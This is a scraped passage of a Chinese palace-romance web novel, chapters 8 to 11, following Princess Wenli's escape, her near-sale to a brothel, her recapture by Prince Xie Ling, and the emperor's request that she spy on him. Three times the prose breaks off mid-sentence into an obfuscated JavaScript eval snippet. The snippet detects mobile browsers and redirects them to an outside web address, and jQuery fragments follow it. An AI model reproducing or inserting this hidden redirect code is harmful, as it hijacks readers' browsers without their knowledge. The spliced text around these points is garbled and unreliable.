晋祐帝趁着自己还算清醒,派人日夜赶工兴修陵墓,最担心的事情还是发生了,国库没钱,他的陵园该如何办?还能在自己死前修建好么? 越是上了年纪,他便越是担心自己死后的事情。 永忠公公在旁提醒了一句:“陛下要不要瞧瞧今晨从各封地收上来的岁贡账目?” 晋祐帝彷佛得救般,快速翻阅账目,可越往后看,他的脸色十分难看,各封地收上来的银子一家比一家少,竟还有几个倒欠朝廷不少钱的。 他一脸绝望地翻至最后一页,终于看到了一点希望,漠北那般贫瘠的土地,竟然收上来三十万两岁贡。 “临王的封地倒是收得不少岁贡。” “陛下忘了?临王屠了北齐两座城池,不知抢了多少银钱,恐怕足够陛下修两座陵园呢。” 此时,谢陵挨了五十鞭,后背布满鞭痕,外衣与血肉粘在一块儿,一步一个血印回到正德殿内。 晋祐帝没想到谢陵还会回来,心中大喜,却按下不表:“临王你可知罪了?” 谢陵扫见了晋祐帝案几上的账目,跪下认罪:“臣愿认罪,但闻梨公主是无辜的,请陛下把闻梨公主赐给臣做侧妃。” 堂堂天家公主给他做侧妃?晋祐帝脸色一沉,刚欲发作,但转念一想到自己的陵墓,便忍了下来,“也罢,看你如此痴心的份上,朕便命人拟一道赐婚的圣旨,不过朕另有一事要交给你办,龙源山的陵墓修建出了岔子,朕命你全权负责此事。” 谢陵起身谢旨:“臣定当尽心竭力。” 陆回与商晏在宫外等候多时,瞧见谢陵背上的伤,陆回心疼不已,心中有气无处使:“那女子真值得王爷这般做吗?王爷费心费力在宫里为她争名分,又是挨打,又是送钱,她倒好,趁着王爷不在府中,居然跑了!” 谢陵闻言,眉头紧拧:“风浅何在?我不是吩咐过风浅看住她么?” 陆回气不打一处来,“心野的女子怎看得住?是末将让风浅故意放她跑的,外边全是她的悬赏令,看她能逃到哪里去,末将只是想替王爷试试她的真心罢了,哪成想如此禁不住试探。” 陆回见谢陵脸上的神情愈发冷峻,气焰怂了怂,试着挽回道:“要不,末将这就去将她找回来?” 谢陵径直上了马车,似乎是动了怒,声音极冷:“不必了,她的事你别再插手管。” 陆回一脸无所适从地望了望军师,后者摇摇头,一副他也管不了的样子,陆回颓丧着脸,也上了马车。 * 闻梨没想到自己能顺利逃出来,望着青石板街上人来人往、川流不息的热闹景象,她有些茫然无措,日光照在斑斓多彩的绿瓦红墙上,蝴蝶翩然飞过海棠花枝头,眼前的珠宝铺摆满琳琅满目的首饰,隔壁酒馆高高挂起的幌子随风招展,不知名食物的香气钻进鼻里,眼前的一切是那么鲜活而明媚的。 这繁华热闹的街市一眼望不到头,一路上闻梨瞧见不少三五成群的同龄姑娘,怀里揣着花,相互嬉戏打闹,欢声笑语不断。 相较于皇宫里死气沉沉的压抑氛围,闻梨有种前所未有的愉悦和新鲜感,一边走一边逛,看到许多新奇的小玩意和建筑,但皆是匆匆掠过一眼,不敢学着别的姑娘拿在手里把玩。 因为她身上没钱。 在皇宫中,吃穿住行皆不用付钱,她以为银子只是用来打赏宫人的,没想到外边的世界,处处用得着银子。 不知不觉天色渐晚,闻梨毫无目的逛了半日,从繁华拥挤的街头走到了贫民所住的棚巷,此处房屋多是茅草搭建的,路面的青石板破损得不成样子,房后的溪流散发着阵阵恶臭,路边横七竖八躺着不少人,不知是在睡觉,还是死了。 这时,不知从哪冒出个长相猥琐的汉子,一脸坏笑拦住闻梨的去路:“好生俊俏的小娘子,打哪里来的?要不要陪哥哥玩会儿?” 闻梨连连后退,不知该如何应对,摇头拒绝:“我不玩。” 那汉子目露痴光,想要继续纠缠,还伸手摸闻梨的手,不知从何处飞来一块小石子,击中汉子腿后,将其打趴在地上,疼得汉子躺在地上嗷嗷直叫。 闻梨趁此机会,撒手便跑,一口气没敢歇,不知跑过几条街,才回到人多热闹的主街,在她倚靠着墙歇息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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起了一阵冷风,忽如其来的雨滴砸在她的脸上,天边霎时滚了个响雷,大雨来势凶猛,不等闻梨找檐下避雨,身上被淋湿了大半,还好寻到一处能避雨的牲口棚。 闻梨本想等雨停了再走,累了一整日,刚闭上眼,困意袭来,听着外边的磅礴大雨,她的心里有种久违的踏实感。 此时此刻,牲畜的臭味混和着草料的味道,却让闻梨一直以来紧绷着的思绪逐渐松懈,她越来越喜欢宫外的生活,哪怕明天会沦落到去捡地上的东西吃,她觉得自己是活着的、真实的、自由的。 只要不再做沈皇后的傀儡,对她来说便足够了。 街口缓缓停下一辆马车,风浅隔着车帘,将闻梨的事一字不漏禀告给自己的主子。 谢陵撑着伞,随着风浅来到牲口棚外,凝望着草席下那张恬然的睡脸,静默了好一阵子,想伸手替闻梨拭去额间的雨珠,手凝滞在半空,最终转身离去。 跟在后边的陆回开始有些于心不忍:“好歹是个娇生惯养的公主,被我们逼到这种境地,是不是太过了点?要不明天把悬赏令撤了吧,再派人给公主送点银钱?” 谢陵没说话,径直踏过脚边的水洼,不知道在想什么。 陆回望着谢陵绝决离去的背影,无可奈何摇摇头,再回眸看一眼牲口棚里的落魄公主,喃喃自语:“我家王爷从来不会手软,她扛得住几时呢?” 9. 第九章 翌日仍是个阴雨连绵的天,睡梦中的闻梨被店家晃醒。 “哪来的小叫花子,上别地儿睡去,别耽误我们做生意。” 闻梨睁眼,只觉浑身在打冷颤,眼前一片模糊,连是谁跟她说话都看不清,勉强撑起身子,扶着门出了草棚。 店家将马匹牵进棚里吃草料,忙完出来,发现小叫花子还站着门口,抬手便要赶人,却听到小叫花子说话了。 “劳驾问一句,哪里能赚到银子?” 店家这才抬眼打量闻梨,虽说蓬头垢面,浑身脏兮兮,却还有几分姿色,店家随手一指:“往南走有家青楼,以姑娘的容貌定能寻份差事。” “什么是青楼?” 店家哈哈大笑:“就是男人寻欢作乐的地方。” 闻梨一阵默然,又问:“还有别的地方吗?” 店家一边搬草料,一边道:“你是从谁家逃出来的婢女吧?在玉京城想找份差事不难,但你得有身籍,倘若没有,任哪个店家都不敢用你,就连去府上给人当丫鬟也难。” 闻梨听罢,神色落寞,低声道了一句:“打扰了。” 她转身欲走,又听到店家说道:“东街巷有位国舅爷,他府上夫人世代清流好做善事,每隔三日会在城南戏台布施馒施粥饭,姑娘不妨去那边瞧瞧。” 闻梨道了句多谢,趁着雨停,来到店家所说的地方,果然瞧见有人在布施粥饭,饿了一天一夜,她终于喝上一口热粥,腹中顿觉好受一些。 “你是新来的吗?” 有人朝闻梨搭话,闻梨扭头,瞧见一个比自己矮一截的小乞儿,瞧着十岁左右,牙齿不齐,年纪不大,说话的神态却很老成。 闻梨警惕看向小乞儿,“你在跟我说话?” 小乞儿捧着破碗,挨着闻梨坐下,喝了一口粥:“今天的粥真香,姐姐也是一个人吗?我叫阿桃,姐姐你叫什么名字?” 闻梨听了小乞儿的名字,仔细辨认了一阵,好奇问:“你是个女孩?” 阿桃四下望了一眼,抬手嘘道:“姐姐小声点,别人看不出我的女儿身,姐姐可观察过,这附近的乞丐流民大多数是男的,但凡年轻点的姑娘,不是被拐就是被骗,为了活下来,我不得不扮成小子讨饭。” 闻梨愣住:“那你为何要告诉我?不怕被我骗吗?” 阿桃冲她眨眨眼:“我一见姐姐便觉得亲切,姐姐初来乍到,定要小心防范,你没发现吗?街角有个男子一直在盯着你。” 闻梨回头,果真瞧见街角一闪而过的人影,不由得一阵后怕,“多谢你的提醒,我要走了。” 阿桃忙喝完粥,用手背擦擦嘴,“姐姐跟我往这边来,我知道哪里有小路能甩开他。” 闻梨犹豫片刻,望着阿桃那双清澈的眼眸,下定决心道:“好,我跟你走。” 风浅把人跟丢了,回王府领罚。 书房内,陆回在一旁替风浅求情:“这也不能怪风浅,玉京城地势复杂,不知有多少暗道。” 谢陵不语,自从闻梨逃走后,他的心绪始终烦闷不已,手头还有一堆麻烦事要做,朝堂上永无休止的谋算,叔父的要求与期望,以及王家对他娶侧妃一事的不满,一直以来积压的情绪令他感到疲惫至极,心生倦怠。 外间,商晏匆步而来,“殿下,查清楚了,带走公主的人叫鬼矮鼠,是江湖上有名的盗贼、拐子,会易容术,常扮成幼女接近涉世未深的外来小姑娘,把人骗进青楼和人伢所,我已派人密切蹲守各大青楼和人伢所,暂时还没传回消息。” 谢陵心烦意乱,扔下公文,决定亲自去找。 * 鬼矮鼠带着闻梨来到一处破落的老宅外,推开朽烂的木门,“姐姐快跟我进来吧,咱们总算把那家伙甩掉了。” 闻梨进门后,打量小院内的光景,荒草丛生,杂乱不堪,主屋房梁倾斜,被一根木柱支撑着,矮墙下堆满了柴火,屋内不时传来阵阵老人的咳嗽声。 鬼矮鼠解释道:“我与祖父相依为命,祖父身子不少,姐姐别见怪,跟我来这边。” 鬼矮鼠推开隔壁屋子的房门,里面除了一张垫了草席的木床,以及角落里的木箱子外,别无他物。 鬼矮鼠从灶房给闻梨端了碗水来,“姐姐渴了吧?” 闻梨接过碗,却没喝,“你知道哪里能弄来身籍吗?” 鬼矮鼠:“身籍?黑市里就有卖的,不过要花钱,姐姐身上有钱吗?” 闻梨摇头:“没有。” 鬼矮鼠:“我倒是知道有个地方不需要身籍就能赚钱,但他们要会识字的,姐姐识字吗?” 闻梨点头:“略认得几个字。” 鬼矮鼠笑道:“那就好办了,等姐姐赚到钱,再去黑市买身籍也行,不过姐姐这一身打扮,只怕被他们当成要饭的。” 鬼矮鼠说罢,猫着腰在箱子里翻找,拿出一件旧旧浅粉衣裙,递给闻梨道:“这裙子是我捡来的,姐姐换上试试。” 闻梨捧着衣裙,神色扭捏,迟迟未动。 鬼矮鼠识趣道:“姐姐是难为情吗?那我先出去,姐姐穿上这套衣裙,再改个发式,兴许连白天跟踪你那位都认不出来。” 此时,屋中只剩闻梨一人,待门外脚步声走远,她起身来到箱子边,掀开盖一瞧,霎时惊愣在原地,满满一箱竟全是女子的服饰。 门外响起敲门声:“姐姐换好没?我给你打了水洗脸” 闻梨打开房门,已经换上了干净衣裙,粉裙袅袅,衬得她杏面桃腮,有几分灵动乖巧之美,鬼矮鼠眼神一亮,发出感概:“姐姐果然是个美人!” “我们什么时候走?” “等天黑我带姐姐过去。” 天黑后,鬼矮鼠带着闻梨来到春居香后巷,敲了会儿门,片刻工夫后,从门里走出来一位云鬓高挽、目光精明的花娘,身后还跟着几个打手。 鬼矮鼠指了指墙边站着的闻梨,凑在花娘身边低语了几句,花娘挑剔的眼神来回扫过闻梨的脸,两人似乎在讨价还价。 院墙里不时传来男男女女的欢歌笑语,闻梨想起店家说过的青楼,沈皇后也曾说过母妃是青楼女子,此院内就是青楼吗?青楼招识字的人做什么? 瞧见‘阿桃’在向自己招手,闻梨心中越发觉得不对劲,转身想跑,可她低估了青楼打手的实力,他们比她更快一步到了巷口,拦住她的去路。 惊慌之中,闻梨亲眼瞧见‘阿桃’收了花娘的银子,打手们围上来,粗鲁地抓住她的肩膀,想要给她绑上绳子。 正当此时,从树上跳下两个人,一个高壮结实,一个身手矫健,两人不由分说便对青楼打手拳拳相向,几招过后,青楼打手皆被二人撂倒在地。 花娘还想往里叫人,在看到对方手里亮出的腰牌后,站着不敢动了,鬼矮鼠见势不妙,也欲溜之大吉,被其中一人领住后衣领,压在墙角蹲着。 另一人拿出袖箭,往夜空发出一枚火矢,提醒附近的同伴聚过来此地。当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193743|181148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人稳住场面,回头却发现闻梨不见了。 “糟糕!二郎你守在这里,我去追她!”高个往巷子深处追去。 夜空又开始下起雨来,雨丝如织,细细密密缠绕在闻梨周身,像是披了层薄雾,风来得又急又冷,混着雨滴,吹得闻梨睁不开眼,不慎踏进路面的低洼处,摔了个狗啃泥。 拐角处传来急促的脚步声,眼看就要被追上,闻梨竭力从水坑里爬起来,身侧蓦然伸出一双手,捂住她的嘴,一把将她拖进窄巷的某道小门后,躲了起来。 闻梨被陌生男子圈在怀中,动弹不得,也发不了声,尚未搞清状况前她没再挣扎,毕竟门外那位未必是好人。 直到巷道里的脚步声走远,男子忽而松开手,声音温润如玉:“是臣冒犯了公主,事态紧急请见谅。” 闻梨错愕回头,脸上沾了泥点,忙拉开与男子的距离,神色不安道:“你认错人了。” 沈迟递来一方手帕,“臣不会认错公主的画像,何况臣也曾在宫宴上见过公主几次,只是公主不认得臣而已。” 闻梨没接手帕,又瞧了沈迟好几眼,脑海中并无半分对此人的印象,但见他神色坦诚,似乎不像个坏人,“那你的姓名是?” “沈迟。” 听到此名,闻梨眼中闪过一丝慌张,刚松懈下来的精神再次紧绷,她没见过沈迟,但从沈皇后之女沁云口中听过无数遍这个名字,自然知道他是沈皇后的侄子。 可门外说不定有青楼的打手,逃跑的这两日她累极了,尤其是刚刚差点被卖进青楼,已经耗费她不少体力,现在头晕眼花,感觉自己随时可能倒在路边,跑也跑不远。 闻梨倚墙而站,眼中透着绝望:“你若是来替沈皇后来抓我回去的,不如给我个痛快,我都死过一回了,什么也不怕,就是不想再见到她。” 沈迟攥紧手帕,神色凝重:“邑王死的那晚,公主也在船上对吗?邑王究竟是怎么死的?” 闻梨不说话,抬眸打量沈迟,良久才道:“你想知道真相的话,就放我离开。” 沈迟摇头:“并非是臣不愿意放公主走,满玉京都是公主的悬赏令,出入城门也有层层盘查,临王的人也在追查公主的下落,公主觉得能躲到哪里去?另外,臣没有替姑母抓公主回去的想法,只是想查清邑王死因。” 闻梨一愣,试图理清思绪,问出心中困惑:“是临王给我下的悬赏令?” 沈迟:“起初是臣,后来结案了,便撤掉了悬赏令,不知怎的,临王又派人贴上了。” 沈迟当时便觉得奇怪,于是跟着谢陵的人,才顺藤摸瓜找到了闻梨。 闻梨总算弄明白了,原来这几日的追兵、大阵仗的搜查,皆是出自谢陵之手,极有可能,她一直活在谢陵的盯梢下,那人没准是故意放她逃走的,就是想看她如丧家犬般东躲西藏,惶惶度日。 脑袋愈发沉重,闻梨只觉头昏脑涨,身上冷得厉害,额间忽然覆来一只手,冰凉如玉。 紧接着身子一轻,闻梨被沈迟抱在怀中,此刻的她已经歇了逃跑的心思,无力地靠着沈迟的胸膛,闭上眼休息。 “公主冒犯了,臣先带你去找大夫。”沈迟抱起闻梨出了门,却发现巷道中不知何时站满了士卒。 夜雨磅礴,似乎无穷无尽,隔着重重雨幕,伞下的谢陵负手而立,神情沉郁,眸色幽深晦暗不明,他盯了面前的二人许久,阴恻恻开口道: “沈侍郎打算把本王的未婚妻带去哪里?” 10. 第十章 闻梨并没有晕过去,听到谢陵声音的刹那间,下意识抓紧沈迟的外衣,以谢陵的性子,被他找回去,还不知自己会落进什么样的境地,倒不如跟着沈迟。 她的小动作落在谢陵漆黑的眼眸中,谢陵推开伞,走进雨里,雨滴顺着他高挺的鼻梁,滑过他紧绷着的下颌,他径直走到沈迟面前,蛮横动手,想把人抢过去。 怀中人瑟缩了一下,沈迟被迫松手,沉声道:“公主受了风寒,正发着热,下官只是想送公主去找大夫,王爷不必如此动怒。” 谢陵接过闻梨,低头看了一眼装睡的某人,稍微在手上使了点力道,将她禁锢得更紧了些,抬头看向沈迟,冷冷道:“本王的未婚妻,不劳沈侍郎费心。” 沈迟不甘心人就这么被临王带走,但对方仗着人多势众,自己什么也做不了,便只能道:“王爷好福气,先与王家定亲,又去宫中求娶公主,您的两个未婚妻当天都在云湖,不知王爷护得住哪一个?下官一定会查清邑王的死因。” “沈侍郎请便。”谢陵转身离开,风浅赶过来撑伞。 闻梨被谢陵稳稳抱在怀中,几乎隔绝了外边的风雨,他身上的暖意与熏香扑来鼻间,她没忍住打了个喷嚏,睁眼时恰好路过春居香的巷道外。 夜雨冷冰冰地淋在地面的尸首上,血水被冲刷了一地,在昏暗的灯光下,泛着诡异的红,‘阿桃’的尸首七歪八扭,像是被人折断了手脚,以某种扭曲的姿势死去。 一阵恶心涌上心头,眼前的画面无端让她想起杀掉邑王那个夜晚,当时她已经彻底失去理智,是存了死念的。 但谢陵不一样,杀了人还能如此镇定自若,彷佛没瞧见那堆尸首,跟没事人一样。 闻梨心中一阵后怕,不自觉缩紧身子,开始担心自己的处境,会不会也跟‘阿桃’一样,凄惨地死在谢陵手里。 上了马车后,闻梨头顶响起一道略含愠怒的嗓音:“醒了就把湿衣服换下,还是想要本王亲自给公主换?” 闻梨忙睁开眼,正对上谢陵凛冽的眼眸,一如既往地冷,还透着几分幽怨、怒火的意味。 谢陵随手扔来一套衣裳,闻梨坐直身子,拿起那套衣服,正准备换上,抬眸望了一眼谢陵,只见他早已别过脸,闭着眼不知在想什么。 闻梨放心脱下湿透的衣裳,换上干净舒爽的衣服,浑身的冷意顿时被驱散不少,随后拆了发饰,拧干头发上的水。 另一边的谢陵也开始脱衣服,闻梨不经意间瞥见他宽阔的肩和精瘦的腰腹,忙闭上双眼,不停地擦着头发。 忽然间,闻梨手里的帕巾被人拿走,谢陵不知何时移来面前,俯身将她圈在怀中,压迫感十足地审视着她。 “公主就没什么想说的吗?” 闻梨被他抵在车壁上,感受着他唇间喷洒而来的热息,本就昏沉沉的脑袋,现在更晕了,脸也很烫:“我、我迷路了,找不到回王府的路,差点被人骗进青楼,王爷怎么现在才来找我?” 她虽晕着,但还没傻到承认自己逃跑的事实。 谢陵挟起她的脸,贴得越来越近:“是么?那公主方才瞧见我,为何还待在沈迟怀里不下来?他的胸膛很好靠么?你很喜欢么?” 闻梨几乎快晕过去了,脸色惨然道:“王爷想知道?你去他怀里躺躺不就知道了。” 谢陵气笑了,一口咬住闻梨的唇,痛得闻梨霎时没了困意,推不开他,便只好强忍下,任由他发泄怒火。 他咬人很痛,但还收着点力道,没咬破她的唇,彷佛是故意的,在她痛得难以忍耐时,却又只吻她,没吻多久便又会变成咬,反复无常,就如同他本人的性格那般恶劣。 闻梨被他折腾得上气不接下气,实在扛不住他折磨人的手段,累得晕睡过去。 * 这一觉闻梨睡了很久,再醒来时,人已经躺回了谢陵的床榻,她只觉口干舌燥,浑身酸软无力,大病一场后,整个人有种虚脱感,望着青帐外模糊的家居摆设,竟有种恍如隔世的感觉,就好像这次逃跑不过是她做的一场梦。 强撑着起身,青帐外传来两道轻微的脚步,床幔被人掀起,光线透进来,闻梨这才看清床边站着两个人,没见过面,但穿着打扮像是从宫里来的。 两名宫女齐声拜见闻梨,“奴婢们是陛下指派来照顾公主的。” 随后,闻梨从宫女口中得知,自己已被父皇许给谢陵做侧妃,将在一个月后,与王家长女一同嫁进临王府。 谢陵答应她的事做到了。 宫女清霜替闻梨端来温水,“公主可要喝点水润润喉?” 另一位宫女翠玉则取来披肩,替闻梨披上:“公主伤寒才好,切莫着凉。” 闻梨喝了两口水,又问道:“我如今在临王府住着,是父皇的意思,还是临王的?” 清霜答道:“公主病中昏迷,陛下特许公主在临王府养病,养好病后还是要回到宫中,从宫里出嫁。” “皇后会操办我的婚事吗?” 清霜:“公主的婚事现由郑贵妃娘娘操办,公主也不必再回风栖宫,出嫁前,都住在郑贵妃娘娘的锦绣宫。” 闻梨的心稍稍安定了些,眼下局面不算太糟,有了第一次的逃跑经历,下次她会准备得更充分些。 在临王府养病的这几日,闻梨都不曾见过谢陵,听殷三娘说,谢陵去了江北,替皇帝巡视大营,恐怕半个月后才会回来。 没过几日,宫里派人来接闻梨回去,时隔半月,再次回到宫中,闻梨的心境不似从前那般悲观绝望,这牢笼此时看起来也没那么可怕,比起那些被困在深宫里,整日工于心计的女人们来说,她觉得自己还有点盼头,至少有出去的机会。 只是闻梨没想到,回宫后第一个想见她的人,居然是那位冷落了她十年的父皇,自从母妃过世,她便再没见过父皇的面。 大殿之上,年近半百的男人独自坐在龙椅上,眼眸聚光迟缓,鬓边白发添了不少,即便是坐拥天下,掌握这世间最高权势的人,也逃不脱岁月的磨砺。 与闻梨记忆中那位高大英武、君威不可冒犯的形象相去甚远。 “儿臣叩见父皇。”闻梨跪下,端端正正行了礼。 殿中央坐着的晋祐帝神情恍惚,默然半晌,自打闻梨进殿,瞧见她那与故人相似的眉眼,深藏于心的诸般记忆被一点点唤醒。 他是爱过虞莲的,当初不顾朝臣反对,宁愿背负昏君的骂名,也要迎娶她入宫为妃,虞莲刚来那阵,他与她恩爱和睦胜过寻常夫妻,到底是从什么时候开始,他与她逐渐生分,最后走向两败俱伤的局面? “上前来,让朕好好瞧瞧你。” 闻梨起身,走到台阶上,规规矩矩站着,任由晋祐帝打量。 晋祐帝望着亭亭玉立的女儿,心中万分感慨:“你长大了,性子变了不少,从前朕叫你过来,不会像现在这般拘束,总是蹦蹦跳跳地跑来撒娇,很讨朕的欢心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193744|181148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 闻梨望着多年不见的父皇,心里毫无波澜,不知道回他什么话,也许该放声哭出来,诉一诉在凤栖宫所受的苦难,唤醒父皇心底为数不多的舔犊之情。 可她不愿意那么做,母妃狠心,将她一个人扔在宫里,父皇何尝不绝情?曾经视她作掌上明珠,说不见就不见了。 十年里,她被沈皇后折磨得生不如死的时候,无数次盼望父皇能想起有她这么一个女儿,哪怕只是来看看她,但一次也没有,甚至连问候都不曾托人带一句。 闻梨敛下眸中失望的情绪,平静道:“父皇近来可好?儿臣未曾在父皇身边侍奉,是儿臣不孝。” 瞧见女儿这般疏远自己,晋祐帝也有些失落,“朕一切都好,谢陵对你好不好?” 闻梨忍下心中酸涩,“临王对儿臣……很好。” 晋祐帝无奈叹道:“这些年以来,我朝与北齐一直在打仗,多亏有了谢陵,才得以保北边太平。朕让你嫁给谢陵做侧妃,确实委屈了你,朕已下旨封你为阆阙公主,赐封地平洲,另外京城的公主府已在修建了,朕给你的荣华富贵,保你此生无忧,必不会让王家女欺负到你的头上。” 晋祐帝言辞恳切,语重心长的模样,倒是像极了一位为女儿殚精竭虑、苦心谋划的老父亲。 倘若没有后边的话,闻梨也许真以为父皇在尽力弥补父女之间的隔阂。 “但历史上多的是狼子野心谋权篡位的教训,谢家在北边声望高权势大,朕不得不防,你是我皇家的血脉,有皇室在一天,便有你的一席之地,朕思来想去,想让你做朕的眼睛,谢陵倘或有任何不臣之心,定要派人来告诉朕,清霜与翠玉皆是朕的心腹,此令牌你也拿着,有什么紧急的事,可直接夜闯宫门。” 闻梨一时愣住,将父皇所说的话全抛在了脑后,眼里只瞧得见那枚令牌,既然能夜闯宫门,是不是也能趁夜出宫? 不知不觉间她接过令牌,什么话都没说,晋祐帝便权当是她答应了,借口要休息,让闻梨退下。 出了正德殿,闻梨收好令牌,心中刚欢悦片刻,转念想起父皇的话,便又冷静下来,父皇要她当眼线监视谢陵,这是万万行不通的。 经过上次逃跑一事,闻梨明白自己几斤几两,想在谢陵的眼底做什么,简直是难于登天,说不准还会死得很难看,不如想想怎么拿着令牌逃跑吧。 虽说她已经不住凤栖宫,不必受沈皇后牵制,但身边的宫女都是父皇的人,等嫁进王府,又多了谢陵的人看住她,逃跑难度极大。 该怎么逃,逃去哪里,怎么躲过追捕,带多少银子,她需要好好想一想,从长计议。 另一边正在前往江北的谢陵,快马加鞭,日夜不停地赶往目的地,一口气走了三天三夜,陆回累得差点摔下马,说什么也要歇息一晚。 “王爷,您不休息,马儿也要休息啊!” 谢陵不悦地皱了皱眉头,翻身下马,吩咐属下去驿站换几匹马。 陆回一副生无可恋的模样,转过脑袋,对着萧大郎诉苦:“他就是怕回去晚了,小媳妇又跟别人跑了!” 萧大郎拼命给陆回使眼色,但陆回假装看不见,继续挖苦:“大郎啊,过来人奉劝你,找娘子千万不能找心野的,要不然……” 斜对面飞来一块小石子,差点打上陆回的左眼,陆回闭嘴,但还不死心,凑在萧大郎耳边悄声道:“要不然就会变成王爷这副妒夫模样,可怕得很呐!” 11. 第十一章 转眼已至暮春时节,天气逐渐热起来,闻梨回宫的半个多月里,沈皇后不曾来找她麻烦,父皇也没再召见她,就连国公主的敕封仪典,也是由郑贵妃代为操办的。 郑贵妃性子冷淡,不喜与人打交道,宫人也都循规守矩,闻梨在锦秀宫过了段清闲日子,短短半月,身形丰腴不少,气色也愈发红润。 得了空闲,闻梨整天琢磨着,要如何把父皇赏赐的金银珠宝换成钱带在身上,她找来工匠,把金银首饰融成方便携带的金叶子、金瓜子等小物,装进荷包系在腰间,此外袖口、鞋面里,能塞的地方都塞满了,塞不下的,还缝制了好几个内衣口袋来装。 起初她不适应身上沉甸甸的感觉,坐卧行立十分不便,于是她开始每顿多吃一碗饭,体力渐渐跟上,她感觉自己比从前更有活力了不少。 这段日子,闻梨打听到许多宫外的事,例如当铺、钱庄,银票之类的,她想把那些用不着的珠宝悄悄送出宫,全部换成银票装在身上,但宫里没有她信得过的人,清霜和翠玉几乎寸步不离守着,很难找到独处机会。 这日晚膳过后,锦秀宫的掌事姑姑呈来一封请帖,说是从宫外送来的。 闻梨心中好奇,打开来看,原来是镇国公夫人递来的请帖,邀请她去镇国公府京郊别苑参加诗宴。 往年很少有人给她递请帖,即便有一两次那种给所有皇子公主都递贴的,未经沈皇后允许,她出不了宫。今年她刚得了公主封号,又即将嫁给临王,虽为侧妃,却仍有不少人想拉拢她。 在闻梨看来,眼前的诗宴是个好机会,一来能试试父皇给的令牌能不能出宫,二则趁谢陵不在玉京,找机会逃跑,就算没机会,也能把珠宝带去当铺换钱,怎么想都不亏。 诗宴当天,闻梨用过早膳便打算出宫,到了宫门口,给守门的禁军看了眼牌子,片刻后,马车外响起一道洪亮的嗓音。 “臣萧禹奉皇上之命,护送公主前往镇国公府。” 闻梨对此并不意外,清霜与翠玉皆是父皇的人,自己不论做什么,都逃不过父皇的眼,她暗戒自己,绝不能掉以轻心,让父皇察觉到她有想逃的心思。 有了禁军开路,马车畅通无阻驶过繁华热闹的街巷,闻梨透过车帘缝隙观察沿途,默默记住好几家当铺和钱庄的位置。 马车蓦然停下,萧禹回禀说,去路被人挡住了。 闻梨正疑惑什么人敢拦禁军的道,掀开车帘往外看,与此同时,另一辆更宽敞华贵的马车并列驶上来,车帘被人缓缓撩起,显露出一张明艳娇矜的脸。 “我当是谁挡了路,原来是皇姐啊,皇姐真威风,父皇连禁军都派给你使唤呢,父皇既然那么看中你,怎么就让你嫁给别人当侧妃?” 酸溜溜说这话的人是沈皇后之女沁芸,沈皇后手上的伤很重,筋脉断了,再也提不起笔,沁芸早就想找闻梨麻烦,但沈皇后一直拦着不让,说是时机未到。 沁芸心疼母后,也妒羡闻梨的国公主封号,沁芸身为嫡公主,本该是第一个被封赏的公主,事事想争第一的她自然不服气,今天终于逮到机会羞辱闻梨一番。 然而这点嘲讽对闻梨来说不痛不痒,闻梨放下车帘,不想在这种争风吃醋的事情上费心思,便吩咐萧禹让道,让沁芸的马车先走。 沁芸还想再争论一番,却被身边人劝住,“皇姐算了吧,街上人多,别耽误赴宴的时辰。” 沁芸的怒气无处可施,便拿身边人撒气:“赴宴赴宴,就想着去吃!你都不帮我说句话,一点用也没有。” 静绒沉默不语,她是赵婕妤所生,赵婕妤依附着沈皇后过活,而静绒生下来,便是沁芸的小跟班,没少被沁芸欺压,却只能忍气吞声。 说起来,静绒也格外眼热闻梨的婚事,同样是在凤栖宫受苦受难的人,为什么闻梨的命却那么好,能得临王赏识,得父皇偏爱? 倘若当初被沈皇后送去的人是自己,闻梨所拥有的一切,她也能得到吗? 待沁芸的马车走后,闻梨让萧禹将马车赶至路边,她戴上帷帽,抱着妆盒下马车,走进当铺,兑换了好几十张银票和一袋银子出来。 面对清霜和翠玉的询问,闻梨只道那些东西不喜欢,不如换点钱留在身边打赏下人,说着给清霜、翠玉以及萧禹各赏赐了一锭银子,二人也不再多问。 马车继续行驶,顺利出了城门,一个时辰后抵达望枫山脚的国公府别苑门前。 国公夫妇俩瞧见禁军来了,诚惶诚恐出门迎接,当得知来客是闻梨公主,二人互视一眼,纷纷变了脸色。 国公爷如临大敌:“是谁把她请来的?难道不知临王和王家姑娘也在席上吗?” 国公夫人悔恨交加:“我、我不过是走个过场,客套一下,没想到她真的来了!” 后悔也无济于事,国公爷稳住心神,携手夫人上前迎接公主,其实他府上贵客多,公主皇子亲王来了不少,再多一位有封号的公主,也不该如此慌乱。 此事难就难在,这位公主有皇上撑腰,又被指给临王作侧妃,而临王今天是与王家姑娘一起来的,哪边的关系好一目了然,倘若公主觉得脸面难堪,在席上闹起来,两边都得罪不起啊! 